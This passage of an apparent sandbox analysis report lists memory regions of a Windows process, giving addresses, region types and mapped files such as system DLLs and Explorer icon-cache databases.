0x8a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089f0000" filename = "" Region: id = 7323 start_va = 0x7ffe552e0000 end_va = 0x7ffe552f1fff monitored = 0 entry_point = 0x7ffe552e3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 7324 start_va = 0x8a70000 end_va = 0x8aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a70000" filename = "" Region: id = 7373 start_va = 0x8af0000 end_va = 0x8b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008af0000" filename = "" Region: id = 7374 start_va = 0x7ffe5bc70000 end_va = 0x7ffe5bc99fff monitored = 0 entry_point = 0x7ffe5bc78b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 7377 start_va = 0x7ffe59f00000 end_va = 0x7ffe5a16efff monitored = 0 entry_point = 0x7ffe59fb22b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 7378 start_va = 0x3b30000 end_va = 0x3b30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b30000" filename = "" Region: id = 7379 start_va = 0x3b90000 end_va = 0x3b90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 7380 start_va = 0x3ba0000 end_va = 0x3ba0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ba0000" filename = "" Region: id = 7381 start_va = 0x8b70000 end_va = 0x8beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008b70000" filename = "" Region: id = 7382 start_va = 0x7960000 end_va = 0x7b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007960000" filename = "" Region: id = 7383 start_va = 0x7ffe5a200000 end_va = 0x7ffe5a24afff monitored = 0 entry_point = 0x7ffe5a2172b0 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 7388 start_va = 0x8bf0000 end_va = 0x8c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008bf0000" filename = "" Region: id = 7424 start_va = 0x3bb0000 end_va = 0x3bb1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003bb0000" filename = "" Region: id = 7425 start_va = 0x7b60000 end_va = 0x7b61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007b60000" filename = "" Region: id = 7426 start_va = 0x7ffe52400000 end_va = 0x7ffe5244cfff monitored = 0 entry_point = 0x7ffe52417de0 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 7427 start_va = 0x7b70000 end_va = 0x7b71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007b70000" filename = "" Region: id = 7428 start_va = 0x7b80000 end_va = 0x7b81fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7429 start_va = 0x7b90000 end_va = 0x7b90fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7430 start_va = 0x7b80000 end_va = 0x7b80fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 7431 start_va = 0x8c70000 end_va = 0xb88ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 7432 start_va = 0x7b80000 end_va = 0x7b81fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7433 start_va = 0x7b90000 end_va = 0x7b90fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7434 start_va = 0x7310000 end_va = 0x7311fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7435 start_va = 0x7b80000 end_va = 0x7bc7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007b80000" filename = "" Region: id = 7436 start_va = 0x7320000 end_va = 0x7320fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7437 start_va = 0x7310000 end_va = 0x7310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 7438 start_va = 0x8c70000 end_va = 0xb88ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 7439 start_va = 0x7310000 end_va = 0x7311fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7440 start_va = 0x7320000 end_va = 0x7320fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7441 start_va = 0x7320000 end_va = 0x7320fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7442 start_va = 0x7310000 end_va = 0x7310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 7443 start_va = 0x8c70000 end_va = 0xb88ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 7444 start_va = 0x7310000 end_va = 0x7311fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7445 start_va = 0x7320000 end_va = 0x7320fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7446 start_va = 0x7bd0000 end_va = 0x7c17fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007bd0000" filename = "" Region: id = 7447 start_va = 0x7310000 end_va = 0x7313fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007310000" filename = "" Region: id = 7448 start_va = 0x8c70000 end_va = 0x8ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c70000" filename = "" Region: id = 7452 start_va = 0x7320000 end_va = 0x732ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007320000" filename = "" Region: id = 7453 start_va = 0x7320000 end_va = 0x7321fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007320000" filename = "" Region: id = 7460 start_va = 0x8cf0000 end_va = 0x8d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008cf0000" filename = "" Region: id = 7461 start_va = 0x7330000 end_va = 0x7331fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7462 start_va = 0x7c20000 end_va = 0x7c20fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7463 start_va = 0x7c30000 end_va = 0x7c30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 7464 start_va = 0x8d70000 end_va = 0xb98ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 7466 start_va = 0x8d70000 end_va = 0x8deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d70000" filename = "" Region: id = 7469 start_va = 0x8df0000 end_va = 0x8e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008df0000" filename = "" Region: id = 7470 start_va = 0x7ffe52110000 end_va = 0x7ffe52323fff monitored = 0 entry_point = 0x7ffe52111000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\micros~1\\office16\\grooveex.dll") Region: id = 7471 start_va = 0x7320000 end_va = 0x7321fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007320000" filename = "" Region: id = 7472 start_va = 0x7ffe566f0000 end_va = 0x7ffe56708fff monitored = 0 entry_point = 0x7ffe566fee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 7473 start_va = 0x7ffe5c090000 end_va = 0x7ffe5c183fff monitored = 0 entry_point = 0x7ffe5c09a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 7474 start_va = 0x7ffe56650000 end_va = 0x7ffe566e0fff monitored = 0 entry_point = 0x7ffe566a2430 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 7475 start_va = 0x7ffe56640000 end_va = 0x7ffe5664bfff monitored = 0 entry_point = 0x7ffe56644150 region_type = mapped_file name = "vcruntime140_1.dll" filename = "\\Windows\\System32\\vcruntime140_1.dll" (normalized: "c:\\windows\\system32\\vcruntime140_1.dll") Region: id = 7476 start_va = 0x7c30000 end_va = 0x7c30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c30000" filename = "" Region: id = 7477 start_va = 0x7ffe51dd0000 end_va = 0x7ffe52109fff monitored = 0 entry_point = 0x7ffe51dd8520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 7478 start_va = 0x7c40000 end_va = 0x7c41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007c40000" filename = "" Region: id = 7479 start_va = 0x7ffe57f70000 end_va = 0x7ffe582f1fff monitored = 0 entry_point = 0x7ffe57fc1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 7480 start_va = 0x7ffe56630000 end_va = 0x7ffe5663cfff monitored = 0 entry_point = 0x7ffe56631ea0 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 7481 start_va = 0x7c50000 end_va = 0x7c51fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7482 start_va = 0x7ef0000 end_va = 0x7ef0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7483 start_va = 0x8e70000 end_va = 0x9028fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 7484 start_va = 0x9030000 end_va = 0x90affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 7485 start_va = 0x90b0000 end_va = 0x992dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\micros~1\\office16\\1033\\grooveintlresource.dll") Region: id = 7486 start_va = 0x7ffe563c0000 end_va = 0x7ffe563f6fff monitored = 0 entry_point = 0x7ffe563c20a0 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 7487 start_va = 0x7ffe5fe10000 end_va = 0x7ffe60238fff monitored = 0 entry_point = 0x7ffe5fe38740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 7488 start_va = 0x7ffe562f0000 end_va = 0x7ffe563b5fff monitored = 0 entry_point = 0x7ffe562f3ac0 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 7489 start_va = 0x7f00000 end_va = 0x7f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007f00000" filename = "" Region: id = 7490 start_va = 0x7f10000 end_va = 0x7f67fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll.mui" filename = "\\Windows\\System32\\en-US\\wmploc.DLL.mui" (normalized: "c:\\windows\\system32\\en-us\\wmploc.dll.mui") Region: id = 7491 start_va = 0x9930000 end_va = 0xa222fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll" filename = "\\Windows\\System32\\wmploc.DLL" (normalized: "c:\\windows\\system32\\wmploc.dll") Region: id = 7492 start_va = 0x7f10000 end_va = 0x7f67fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll.mui" filename = "\\Windows\\System32\\en-US\\wmploc.DLL.mui" (normalized: "c:\\windows\\system32\\en-us\\wmploc.dll.mui") Region: id = 7493 start_va = 0x9930000 end_va = 0xa222fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll" filename = "\\Windows\\System32\\wmploc.DLL" (normalized: "c:\\windows\\system32\\wmploc.dll") Region: id = 7494 start_va = 0x7f10000 end_va = 0x7f67fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll.mui" filename = "\\Windows\\System32\\en-US\\wmploc.DLL.mui" (normalized: "c:\\windows\\system32\\en-us\\wmploc.dll.mui") Region: id = 7495 start_va = 0x9930000 end_va = 0xa222fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll" filename = "\\Windows\\System32\\wmploc.DLL" (normalized: "c:\\windows\\system32\\wmploc.dll") Region: id = 7496 start_va = 0x7f10000 end_va = 0x7f67fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll.mui" filename = "\\Windows\\System32\\en-US\\wmploc.DLL.mui" (normalized: "c:\\windows\\system32\\en-us\\wmploc.dll.mui") Region: id = 7497 start_va = 0x9930000 end_va = 0xa222fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll" filename = "\\Windows\\System32\\wmploc.DLL" (normalized: "c:\\windows\\system32\\wmploc.dll") Region: id = 7498 start_va = 0x7ffe51b30000 end_va = 0x7ffe51dcffff monitored = 0 entry_point = 0x7ffe51b351e0 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" (normalized: "c:\\windows\\system32\\gameux.dll") Region: id = 7499 start_va = 0x8c70000 end_va = 0x8c71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008c70000" filename = "" Region: id = 7500 start_va = 0x7ffe51980000 end_va = 0x7ffe51b28fff monitored = 0 entry_point = 0x7ffe519d4060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 7501 start_va = 0x7ffe59480000 end_va = 0x7ffe59528fff monitored = 0 entry_point = 0x7ffe594a9010 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 7502 start_va = 0x9930000 end_va = 0x9a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009930000" filename = "" Region: id = 7503 start_va = 0x9930000 end_va = 0x99affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009930000" filename = "" Region: id = 7504 start_va = 0x9a80000 end_va = 0x9a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a80000" filename = "" Region: id = 7505 start_va = 0x7f10000 end_va = 0x7f10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f10000" filename = "" Region: id = 7506 start_va = 0x7f20000 end_va = 0x7f21fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 7507 start_va = 0x9930000 end_va = 0x9a2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 7508 start_va = 0x9a30000 end_va = 0x9aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a30000" filename = "" Region: id = 7509 start_va = 0x9ab0000 end_va = 0x9b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ab0000" filename = "" Region: id = 7516 start_va = 0x9b30000 end_va = 0xa52ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009b30000" filename = "" Region: id = 7517 start_va = 0x7f30000 end_va = 0x7f31fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7518 start_va = 0x7f40000 end_va = 0x7f40fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 7519 start_va = 0xa530000 end_va = 0xa72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a530000" filename = "" Region: id = 7520 start_va = 0xa530000 end_va = 0xa5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a530000" filename = "" Region: id = 7521 start_va = 0xa720000 end_va = 0xa72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a720000" filename = "" Region: id = 7522 start_va = 0x7ffe56620000 end_va = 0x7ffe56629fff monitored = 0 entry_point = 0x7ffe56622e50 region_type = mapped_file name = "msiltcfg.dll" filename = "\\Windows\\System32\\msiltcfg.dll" (normalized: "c:\\windows\\system32\\msiltcfg.dll") Region: id = 7523 start_va = 0x7ffe56610000 end_va = 0x7ffe56619fff monitored = 0 entry_point = 0x7ffe56611350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 7524 start_va = 0xa5b0000 end_va = 0xa62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a5b0000" filename = "" Region: id = 7525 start_va = 0x7f50000 end_va = 0x7f51fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 7526 start_va = 0xa630000 end_va = 0xa72ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 7527 start_va = 0x7f60000 end_va = 0x7f63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 7528 start_va = 0x8c80000 end_va = 0x8c83fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 7529 start_va = 0x8c90000 end_va = 0x8ca9fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000001f.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000001f.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000001f.db") Region: id = 7530 start_va = 0x8c80000 end_va = 0x8c99fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000001f.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000001f.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000001f.db") Region: id = 7534 start_va = 0x7f60000 end_va = 0x7f60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 7535 start_va = 0xa730000 end_va = 0xd34ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 7536 start_va = 0xa530000 end_va = 0xa587fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll.mui" filename = "\\Windows\\System32\\en-US\\wmploc.DLL.mui" (normalized: "c:\\windows\\system32\\en-us\\wmploc.dll.mui") Region: id = 7537 start_va = 0xa730000 end_va = 0xb022fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmploc.dll" filename = "\\Windows\\System32\\wmploc.DLL" (normalized: "c:\\windows\\system32\\wmploc.dll") Region: id = 7540 start_va = 0x7ffe525e0000 end_va = 0x7ffe5263efff monitored = 0 entry_point = 0x7ffe5260bce0 region_type = mapped_file name = "dsreg.dll" filename = "\\Windows\\System32\\dsreg.dll" (normalized: "c:\\windows\\system32\\dsreg.dll") Region: id = 7541 start_va = 0x7ffe5c360000 end_va = 0x7ffe5c36bfff monitored = 0 entry_point = 0x7ffe5c3627e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7542 start_va = 0x7ffe56ab0000 end_va = 0x7ffe56ac5fff monitored = 0 entry_point = 0x7ffe56ab1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7543 start_va = 0x7ffe5c5a0000 end_va = 0x7ffe5c5a9fff monitored = 0 entry_point = 0x7ffe5c5a1830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 7544 start_va = 0xa730000 end_va = 0xa7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a730000" filename = "" Region: id = 7721 start_va = 0x7ffe5bc70000 end_va = 0x7ffe5bc99fff monitored = 0 entry_point = 0x7ffe5bc78b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 7730 start_va = 0x7ffe5c560000 end_va = 0x7ffe5c593fff monitored = 0 entry_point = 0x7ffe5c57ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7731 start_va = 0x7ffe5c9f0000 end_va = 0x7ffe5c9fafff monitored = 0 entry_point = 0x7ffe5c9f19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7732 start_va = 0x7f60000 end_va = 0x7f6afff monitored = 0 entry_point = 0x7f62e60 region_type = mapped_file name = "locationnotificationwindows.exe" filename = "\\Windows\\System32\\LocationNotificationWindows.exe" (normalized: "c:\\windows\\system32\\locationnotificationwindows.exe") Region: id = 7733 start_va = 0xa7b0000 end_va = 0xa82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7b0000" filename = "" Region: id = 7734 start_va = 0x7ffe5e090000 end_va = 0x7ffe5e0abfff monitored = 0 entry_point = 